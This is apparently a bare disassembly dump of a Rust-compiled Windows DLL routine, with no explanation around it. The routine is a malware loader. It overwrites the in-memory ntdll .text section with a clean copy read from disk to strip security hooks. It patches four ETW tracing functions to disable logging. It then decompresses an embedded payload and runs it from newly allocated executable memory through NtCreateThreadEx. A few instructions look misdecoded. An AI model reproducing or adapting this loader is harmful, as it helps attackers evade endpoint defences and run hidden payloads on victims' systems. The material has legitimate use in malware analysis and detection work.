mov rcx, qword [0x104b60c8]
test rcx, rcx
jne 0x10004c45
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e20
mov rcx, rax
mov qword [0x104b60c8], rax
mov r8d, 0x10
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e20
mov word [rax], 0x43
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 8
mov qword [rsp + 0x1b0], 1
lea rbx, [0x104a3840]
mov esi, 1
xor r13d, r13d
lea r14, [0x104a385c]
lea r15, str.C:WindowsSystem32_ntdll.dll
mov r12, 0xffffffffffffffff
lea rdi, [rsp + 0x1a0]
jmp 0x10004cc3
mov word [rax + rsi*2], r13w
inc rsi
mov qword [rsp + 0x1b0], rsi
mov r13d, ebp
test r13w, r13w
jne 0x10004d50
cmp rbx, r14
je 0x10004de5
movzx ecx, byte [rbx]
test cl, cl
js 0x10004cf1
inc rbx
mov r13d, ecx
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cb0
jmp 0x10004d60
mov r13d, ecx
and r13d, 0x1f
movzx r8d, byte [rbx + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x10004d43
movzx edx, byte [rbx + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x10004d9a
movzx ecx, byte [rbx + 3]
add rbx, 4
and r13d, 7
shl r13d, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or r13d, ecx
cmp r13d, 0xffff
jbe 0x10004d50
jmp 0x10004dae
add rbx, 2
shl r13d, 6
or r13d, r8d
nop
xor ebp, ebp
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cb0
mov r8, r15
sub r8, rbx
add r8, 0x1d
add r8, 3
cmovb r8, r12
shr r8, 2
cmp bp, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rsi
call fcn.1000c780
mov rax, qword [rsp + 0x1a0]
jmp 0x10004cb0
add rbx, 3
shl r13d, 0xc
or r13d, edx
cmp r13d, 0xffff
jbe 0x10004d50
lea ecx, [r13 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r13d, 0x3ff
or r13d, 0xdc00
mov ebp, r13d
mov r13d, ecx
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004cb0
jmp 0x10004d60
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf0], rax
movdqu xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xe0], xmm0
mov rsi, qword [rsp + 0xe8]
cmp rax, rsi
jne 0x10004e34
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1000c6c0
mov rsi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe0]
mov word [rbx + rax*2], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rdi, rax
test rsi, rsi
je 0x10004e8a
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
cmp rdi, 0xffffffffffffffff
je 0x1000509c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rsi, rax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x1000509c
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x10005156
mov edx, dword [rax + 0x3c]
mov ecx, dword [rdx + rax + 0x50]
cmp rcx, 0x40
jb 0x10005ec1
mov r8b, 4
test al, 3
jne 0x10006008
movzx r9d, word [rax]
cmp r9d, 0x5a4d
jne 0x10005edf
test dl, 3
jne 0x10006008
cmp edx, 0x1000000
ja 0x10005ee7
lea r9, [rdx + 0x88]
cmp r9, rcx
ja 0x10005ec1
cmp dword [rax + rdx], 0x4550
jne 0x10005edf
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x10004f6f
mov r8b, 5
cmp r10d, 0x10b
jne 0x10006008
mov r8d, dword [rax + rdx + 0x54]
cmp ecx, r8d
jb 0x10005ec1
cmp r8d, dword [rax + rdx + 0x50]
ja 0x10005ee7
movzx r8d, r10w
cmp r8d, 0x20b
jne 0x10006005
mov r8d, dword [rax + rdx + 0x84]
cmp r8d, 0x10
mov r10d, 0x10
cmovb r10d, r8d
shl r10d, 3
add r9, r10
cmp r9, rcx
ja 0x10005ec1
movzx r9d, word [rax + rdx + 6]
mov r8b, 7
cmp r9, 0x60
ja 0x10006008
shl r9, 3
lea r9, [r9 + r9*4]
lea r8, [rdx + r9]
movzx r10d, word [rax + rdx + 0x14]
lea r11, [r10 + r8]
add r11, 0x18
mov r8b, 1
cmp r11, rcx
ja 0x10006008
add r10, rdx
lea r8, [rax + r10]
add r8, 0xfffffffffffffff0
movabs rdx, 0x747865742e
nop dword [rax]
test r9, r9
je 0x10005d67
lea r10, [r8 + 0x28]
add r9, 0xffffffffffffffd8
cmp qword [r8 + 0x28], rdx
mov r8, r10
jne 0x10005010
mov edx, dword [r10 + 0xc]
test rdx, rdx
je 0x1000603e
mov r9d, dword [r10 + 8]
mov r10d, r9d
mov r8b, 1
add r10d, edx
jb 0x10006041
cmp ecx, r10d
jb 0x10006041
mov rcx, qword [rsp + 0x180]
add rcx, rdx
mov qword [0x104b6020], r9
mov qword [0x104b6028], rcx
mov rcx, rax
call sub.KERNEL32.dll_UnmapViewOfFile
jmp 0x1000515b
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a49c0]
mov rcx, rax
call fcn.10006ca0
jmp 0x100060b0
call sub.KERNEL32.dll_GetLastError
jmp 0x10005163
mov ecx, r14d
and ecx, 0xfffffffe
mov rax, qword [rsp + 0x80]
lea rdx, [rax + 0x18]
xor eax, eax
lea r8, [rsp + 0xa8]
nop word cs:[rax + rax]
mov r9, qword [rsi + rax*8]
mov qword [rdx - 0x18], r8
mov qword [rdx - 0x10], r9
mov r9, qword [rsi + rax*8 + 8]
mov qword [rdx - 8], r8
mov qword [rdx], r9
add rax, 2
add rdx, 0x20
cmp rcx, rax
jne 0x100050d0
test r14b, 1
je 0x1000511c
mov rcx, qword [rsi + rax*8]
shl rax, 4
lea rdx, [rsp + 0xa8]
mov r8, qword [rsp + 0x80]
mov qword [r8 + rax], rdx
mov qword [r8 + rax + 8], rcx
mov r12, r14
cmp qword [rsp + 0x1a8], 0
jne 0x10003989
jmp 0x1000399a
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, [0x104a49c0]
mov rcx, rax
call fcn.10006ca0
jmp 0x100060b0
call sub.KERNEL32.dll_GetLastError
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x104b6028]
mov qword [rsp + 0x58], rax
lea rax, [fcn.10008c40]
mov qword [rsp + 0x60], rax
lea rax, [0x104a3860]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
mov qword [rsp + 0x1c0], 0
lea r15, [rsp + 0x58]
mov qword [rsp + 0x1b0], r15
mov qword [rsp + 0x1b8], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10006830
mov rsi, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [0x104b6020]
test rdi, rdi
je 0x10005238
lea r14, [rdi*4]
mov rcx, qword [0x104b60c8]
test rcx, rcx
jne 0x10005214
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005229
mov rcx, rax
mov qword [0x104b60c8], rax
mov edx, 8
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x1000523d
mov ecx, 4
mov rdx, r14
call fcn.100063f0
ud2
mov ebx, 4
mov rdx, qword [0x104b6028]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x188]
mov r8, rbx
mov r9, rdi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x10005dfb
mov rdx, qword [0x104b6028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x10005dfb
test rdi, rdi
je 0x100052a9
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rbx
call fcn.1003965c
test r12, r12
je 0x100052bf
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
lea rcx, [0x104a37dc]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a382f]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
mov rdx, qword [section..data]
mov r8, qword [0x10046008]
lea rcx, [rsp + 0x1a0]
call fcn.100024d0
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x10005e51
mov rdi, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
mov rdx, qword [0x10046010]
mov r8, qword [0x10046018]
lea rcx, [rsp + 0x1a0]
call fcn.100024d0
mov r14, qword [rsp + 0x1a0]
test r14, r14
je 0x10005e6a
mov r12, qword [rsp + 0x1a8]
mov rdx, qword [0x10046020]
mov r8, qword [0x10046028]
lea rcx, [rsp + 0x1a0]
call fcn.100024d0
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x10005e83
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xc0], r14
mov r13, qword [rsp + 0x1a8]
movzx eax, byte [0x104b6120]
mov rcx, qword [0x104b60c8]
test rcx, rcx
jne 0x10005474
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e31
mov rcx, rax
mov qword [0x104b60c8], rax
mov r8d, 0x2000
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e31
mov r14, rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
movdqa xmmword [rsp + 0x200], xmm0
movdqa xmmword [rsp + 0x1f0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x220], 0
lea rcx, [rsp + 0x1a0]
mov rdx, 0xffffffffffffffff
xor r8d, r8d
call fcn.10042d80
cmp eax, 0xb
ja case.default.0x1000552a
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0x70], rdi
mov eax, eax
lea rcx, [0x10047180]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdi, [rsp + 0xe6]
lea rbp, [rsp + 0x1a0]
mov r8d, 0x88
mov rcx, rdi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x1e0]
mov r8d, 0x88
mov rdx, rdi
call sub.msvcrt.dll_memcpy
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x1b0], xmm6
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x1c8], rbx
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x1a8], 0x2000
mov qword [rsp + 0x58], 1
movdqu xmmword [rsp + 0x60], xmm6
mov eax, 1
mov qword [rsp + 0x78], rax
lea rsi, [rsp + 0xe0]
lea rbx, [0x100471b0]
xor edi, edi
xor r12d, r12d
xor r15d, r15d
mov qword [rsp + 0xb8], r15
cmp r12, rdi
jne 0x10005614
jmp 0x100056ed
cmp byte [r13 + 0x10], 0x23
jne case.0x10005678.2
cmp r12, rdi
je 0x100056ed
mov r14, rdi
sub r14, r12
mov r8, r14
sub r8, r15
jb 0x10005d2c
mov rax, qword [rsp + 0x78]
lea r13, [rax + r12]
lea rcx, [r15 + r13]
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, rsi
mov rdx, rbp
mov r8, r13
mov r9, r14
call fcn.100021d0
cmp qword [rsp + 0xe0], 0
mov r13, qword [rsp + 0xe8]
je 0x10005740
test r13, r13
je 0x10005916
mov eax, r13d
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
cmp byte [r13 + 0xf], 0x23
jne case.0x10005678.2
mov r15, rbx
mov rbx, rsi
mov rsi, rbp
mov r14, qword [r13 - 1]
mov rbp, qword [r13 + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x100056bf
cmp qword [rbp + 0x10], 0x11
jb 0x100056ae
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
dec r13
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, r13
call fcn.1003965c
mov rbp, rsi
mov rsi, rbx
mov rbx, r15
mov r15, qword [rsp + 0xb8]
cmp r12, rdi
jne 0x10005614
mov r8d, 0x20
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.10002110
mov r12, qword [rsp + 0x68]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rdi, qword [rsp + 0x60]
jmp 0x10005614
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x1000560b
jmp case.0x10005678.2
cmp r14, r13
mov r15, r13
cmova r15, r14
test r13, r13
je 0x10005916
cmp r14, r13
jb 0x10005efe
sub r15, r13
add r12, r13
mov qword [rsp + 0x68], r12
mov rax, rdi
or rax, r12
jne 0x100055e4
movdqa xmmword [rsp + 0xf0], xmm6
movdqa xmmword [rsp + 0xe0], xmm6
lea r14, [rsp + 0xa8]
lea r12, [0x100471c0]
sub al, 0x1a
add al, 0
sub al, 0x1a
add al, 0
jmp 0x100057ab
cmp byte [r13 + 0x10], 0x23
jne case.0x10005678.2
mov r9d, 0x20
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.100021d0
cmp qword [rsp + 0xa8], 0
je case.default.0x100057e3
mov r13, qword [rsp + 0xb0]
mov eax, r13d
add byte [rcx + rcx*4 - 0x18], al
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
lea r14, [rsp + 0xa8]
jmp 0x100057ab
mov r14, qword [rsp + 0xb0]
test r14, r14
je 0x10005916
cmp r14, 0x21
jae 0x10005ec9
lea rcx, [rsp + 0x58]
xor edx, edx
mov r8, r14
call fcn.10002110
mov rax, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov qword [rsp + 0x78], rax
lea rcx, [rax + r12]
mov rdx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
add r8d, dword [r8]
add r8d, dword [r8]
add r12, r14
mov qword [rsp + 0x68], r12
jmp 0x100055e4
mov rax, r13
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x10005916
test rax, rax
je 0x10005916
lea rdi, [r13 - 1]
mov r14, qword [r13 - 1]
mov rsi, qword [r13 + 7]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x10005905
cmp qword [rsi + 0x10], 0x11
jb 0x100058f4
mov r14, qword [r14 - 8]
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rdi
call fcn.1003965c
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp qword [rsp + 0x1a8], 0
je 0x10005946
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x104b60c8]
xor edx, edx
call fcn.1003965c
lea rcx, [rsp + 0x1e0]
call fcn.10040bb0
cmp qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0xa0]
lea r12, [rsp + 0xa8]
je 0x1000598c
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0xd8]
call fcn.1003965c
test rbx, rbx
je 0x100059a7
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call fcn.1003965c
cmp qword [rsp + 0x70], 0
je 0x100059c0
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0x58], 0
mov qword [rsp + 0xe0], r15
mov dword [rsp + 0xa8], 0
mov qword [rsp + 0x1a0], r15
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rsi, [rsp + 0x58]
lea r9, [rsp + 0x1a0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, r15
call sub.ntdll.dll_NtWriteVirtualMemory
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0xe0]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0x1a0], 0
mov rax, qword [rsp + 0x58]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x1a0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0x1a0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test rdi, rdi
je 0x10005ad0
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, r14
call fcn.1003965c
movaps xmm6, xmmword [rsp + 0x3b0]
movaps xmm7, xmmword [rsp + 0x3c0]
movaps xmm8, xmmword [rsp + 0x3d0]
movaps xmm9, xmmword [rsp + 0x3e0]
movaps xmm10, xmmword [rsp + 0x3f0]
movaps xmm11, xmmword [rsp + 0x400]
movaps xmm12, xmmword [rsp + 0x410]
movaps xmm13, xmmword [rsp + 0x420]
movaps xmm14, xmmword [rsp + 0x430]
movaps xmm15, xmmword [rsp + 0x440]
add rsp, 0x458
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x10005b65
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
mov rsi, qword [rsp + 0xd0]
je 0x10005b88
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
test rsi, rsi
je 0x10005ba3
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
jne 0x10004c1a
call fcn.10038ec0
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0xe0], rax
lea rax, [0x10017840]
mov qword [rsp + 0xe8], rax
lea rax, [0x104ab290]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 1
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 1
mov qword [rsp + 0x1c0], 0
lea rcx, [rsp + 0x94]
lea rdx, [rsp + 0x1a0]
call fcn.10038f60
ud2
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a49a8]
jmp 0x1000508f
mov eax, 0x23
mov edx, 0x23
lea r8, [0x104a49a8]
jmp 0x10005149
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x1a8], 0
je 0x10005ca4
mov rcx, qword [0x104b60c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], r12
lea rax, [0x104a38d0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fe0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.10008760
ud2
xor r8d, r8d
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, qword [rsp + 0x88]
mov r9, rdi
call fcn.10009640
jmp 0x100060b0
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.10006c20
ud2
mov ecx, 1
mov rdx, r13
call fcn.100063f0
ud2
call fcn.100063b0
ud2
mov ecx, 1
mov edx, 9
call fcn.100063f0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x104a38a0]
mov edx, 0x2b
call fcn.10007940
ud2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rbx
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b8], rax
lea rax, [0x104a38e8]
jmp 0x10005cdd
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_module.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.100075a0
ud2
mov rdi, qword [rsp + 0x88]
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rax
jmp 0x10005d07
call fcn.10034c80
ud2
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winproc_0.6.4_src_process_mod.rs
mov rcx, r14
mov rdx, r15
call fcn.100075a0
ud2
mov eax, 4
jmp 0x10005ca6
mov ecx, 2
mov edx, 0x10
call fcn.100063f0
ud2
mov ecx, 1
mov edx, 0x2000
call fcn.100063f0
ud2
mov ecx, 8
mov rdx, rbx
call fcn.100063f0
ud2
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a3900]
jmp 0x10005e9a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a3918]
jmp 0x10005e9a
movups xmm0, xmmword [rsp + 0x1a8]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x104a3930]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049000]
lea r8, [rsp + 0xe0]
mov edx, 0x2b
call fcn.10008760
ud2
mov r8b, 1
jmp 0x10006008
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_srciomod.rs
mov edx, 0x20
mov rcx, r14
call fcn.100075a0
ud2
mov r8b, 5
jmp 0x10006008
mov r8b, 7
jmp 0x10006008
mov ecx, 1
mov rdx, r12
call fcn.100063f0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs
mov rcx, r15
mov rdx, r14
call fcn.100075a0
ud2
mov r12, rdi
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.10006c20
jmp 0x100060b0
mov dword [rsp + 0xa8], eax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
lea rax, [0x10008800]
mov qword [rsp + 0x60], rax
lea rax, [0x104ab508]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xf8], 1
lea rdx, [0x104ab518]
lea rcx, [rsp + 0xe0]
call fcn.10006be0
ud2
mov sil, 6
jmp 0x10005fc2
mov sil, 7
jmp 0x10005fc2
mov sil, 4
jmp 0x10005fc2
mov sil, 3
jmp 0x10005fc2
mov sil, 2
jmp 0x10005fc2
mov sil, 1
jmp 0x10005fc2
xor esi, esi
jmp 0x10005fc2
mov sil, 5
lea rcx, [rsp + 0x1a0]
call fcn.10040bb0
mov byte [rsp + 0x1a0], sil
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_xz2_0.1.7_src_bufread.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10049020]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.10008760
ud2
mov r8b, 6
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a3888]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONpack_src_lib.rs
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 6
call fcn.10008760
ud2
xor r8d, r8d
mov byte [rsp + 0x1a0], r8b
lea rax, [0x104a38b8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x10048fc0]
lea r8, [rsp + 0x1a0]
mov edx, 0x2b
call fcn.10008760
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rdi
mov rdx, r12
call fcn.10007fd0
jmp 0x100060b0
mov rdi, r12
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rax
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x170]
call fcn.100075a0
ud2
invalid